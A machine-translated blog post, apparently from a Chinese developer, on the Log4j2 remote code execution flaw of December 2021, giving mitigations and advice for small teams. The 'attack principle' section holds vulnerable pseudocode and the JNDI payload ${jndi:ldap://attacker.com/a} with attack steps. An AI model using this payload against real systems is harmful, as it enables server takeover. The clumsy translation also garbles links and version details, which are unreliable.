фон события
10 декабря я увидел, что кто-то в кругу друзей уже в одночасье дорабатывал и запускал систему. Сразу же я увидел официальный отчет, выпущенный отделом безопасности Alibaba Cloud Security и Tencent: «В Apache Log4j2 существует уязвимость удаленного выполнения кода", и уязвимость была обнародована.
Увидев актуальную новость, лезет сразу фильтрует лог-систему всех проектов, и log4j используемый старым проектом, logback используемый новым проектом, никаких хитростей. Потом я увидел соответствующие новости круга круга.
Как эпическое событие, исправления неотложных ошибок неизбежны. Как программист, если вы видите это сообщение и даже не можете проверить систему, вы действительно не квалифицированный программист.
Пережив этот инцидент, стоит не только наблюдать за весельем, но и думать о том, как избежать, предотвратить и подготовиться к таким ошибкам, как небольшая компания.
Описание уязвимости
Apache Log4j2 — отличная платформа ведения журналов Java, не уступающая Logback. Большое количество основных платформ с открытым исходным кодом используют Log4j2, например Apache Struts2, Apache Solr, Apache Druid, Apache Flink и т. д. Поэтому, если есть проблема с таким базовым фреймворком, последствия можно себе представить.
Информация об уязвимости:Версия Apache Log4j 2.15.0-rc1 имеет обход уязвимости и должна быть своевременно обновлена до версии Apache Log4j 2.15.0-rc2.
Масштаб воздействия: 2.0
Последняя версия исправления:GitHub.com/Apache/Хихик…
Средство
Вариант 1: обновить версию и выпустить систему;
Вариант 2: Временное средство:
- Изменить параметры JVM, установить
-Dlog4j2.formatMsgNoLookups=true
. - Добавить в путь к классам проекта, связанного с уязвимостью
log4j2.component.properties
Файл конфигурации и добавить элементы конфигурацииlog4j2.formatMsgNoLookups=true
. - системная переменная окруженияFORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPSУстановите значение «истина».
принцип атаки
Пример псевдокода атаки:
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* 示例伪代码:一个简单的HTTP端点,其中读取User Agent信息并进行日志记录;
*/
public void handle(HttpExchange he) throws IOException {
// 获取user-agent信息
String userAgent = he.getRequestHeader("user-agent");
// 此行记录日志的代码,通过记录攻击者控制的HTTP用户代理标头来触发RCE。
// 攻击者可以设置他们的User-Agent header到${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
Основные шаги атаки, основанные на приведенном выше коде:
- Запросить соответствующую конечную точку HTTP (или интерфейс) и передать код атаки в информации запроса (например, передать ${jndi:ldap://attacker.com/a} в пользовательском агенте);
- Когда сервер выполняет регистрацию через Log4j2, журнал содержит данные, основанные наJNDIиLDAPвредоносная полезная нагрузка
${jndi:ldap://attacker.com/a}
,вattacker.com
является адресом, контролируемым злоумышленником. - Операция регистрации инициирует запрос на адрес, контролируемый злоумышленником.
- Соответствующий запрос возвращает в ответ исполняемый вредоносный код, который внедряется в серверный процесс. Например возврат,Attacker.com/attack Из Лхасы….
- Затем выполните скрипт для управления сервером.
Повторение экспертов по безопасности Tencent выглядит следующим образом:
Что могут сделать программисты небольших компаний?
Уязвимости и решения подробно обсуждались выше, и проблема в основном решена. В крупных интернет-компаниях существуют специальные отделы эксплуатации и обслуживания безопасности, которые отслеживают и сканируют эти уязвимости. Но в небольших компаниях таких условий явно нет.
Так что нам делать? В то же время, как переживший событие, задумывались ли вы о каких-то других проблемах, отраженных в этом событии?
Во-первых, вы сразу узнали новости?
На крупном предприятии при обнаружении такой уязвимости отдел безопасности уведомляет об этом как можно скорее. Но как в малом бизнесе без отдела безопасности получить новости об уязвимости?
Например, в моей компании нет отдела безопасности, но я чуть ли не впервые узнаю об уязвимости и проводим системные расследования.
Как программист, если новости об уязвимостях уже давно есть, а вы ничего не знаете, то вам следует задуматься о качестве круга друзей и внимании к техническим точкам.
Способ получения информации из первых рук в кругу зависит и отражает ваше положение и текущую ситуацию в кругу общения или техническом кругу..
Во-вторых, это падает на глухие уши?
Многие друзья, возможно, тоже видели эту новость об уязвимости, но просто наблюдайте за ажиотажем, а дальше что делать, лазейки в системе есть, лазейки будут~
Если вы такой или ваша команда такая, вам действительно нужно задуматься о профессионализме.
Многие люди могут чувствовать, что они очень хорошие, чувствовать, что их недооценивают, чувствовать, что их заработная плата низка, и чувствовать, что с ними плохо обращаются... Затем, сравнивая свои реакции на этот инцидент, они в основном знают, были ли они плохо обращались.
В-третьих, как действовать в чрезвычайных ситуациях?
Такие аварийные ситуации — это и проверка работы системы, и обслуживания, и управления командой, и еще и симуляционное упражнение: все занимаются текущим бизнесом, а тут внезапный баг, который надо доработать, как поменять половину кода? Например, масштабный выпуск?
Первый, что мне делать, если я изменю половину кода? Если разработка кода вашей команды основана на мастере (стволе) для разработки и отправки кода, в ответ на такие чрезвычайные ситуации она неизбежно столкнется с половиной кода, который был изменен, отправлен и хотел опубликовать вместе, но не протестирован. сложная ситуация, чтобы покататься на тигре.
Поэтому управление кодом (как делать ветки, объединять ветки, выпускать ветку и основной код в разных средах) нужно начинать с ежедневного бита, а при возникновении ЧС не торопиться.
второй, что делать, если есть большое количество проектов, которые необходимо опубликовать? Конечно, самый старый способ — вручную выпускать систему за системой. Если микросервисов и приложений много, то это не только подвержено ошибкам, но и занимает много времени. Это напоминает нам о важности создания автоматизированного процесса выпуска.
В-четвертых, как найти уязвимости системы?
Компания с отделом безопасности будет регулярно сканировать систему на наличие уязвимостей, так может ли компания без отдела безопасности просто сидеть и ждать?
На самом деле, есть еще несколько способов найти некоторые лазейки в системе. Например, внимательно следите за использованием обновлений версии фреймворка, использованием сканирования уязвимостей, предоставляемого третьими лицами (например, сканированием безопасности серверов Alibaba Cloud), и общением с коллегами.
резюме
Любая уязвимость может быть фатальной для программной системы, и нам нужно быть осторожным. Обработка и реагирование на лазейки также являются отражением профессионализма практикующих.
И если вы можете узнать и думать о чрезвычайных ситуациях, вы будете расти быстрее, чем другие.
Профиль блоггера: автор технической книги SpringBoot Technology Insider, который любит изучать технологии и писать технические статьи.
Публичный аккаунт: «Program New Vision», публичный аккаунт блоггера, добро пожаловать на внимание~
Технический обмен: пожалуйста, свяжитесь с блогером WeChat ID: zhuan2quan
\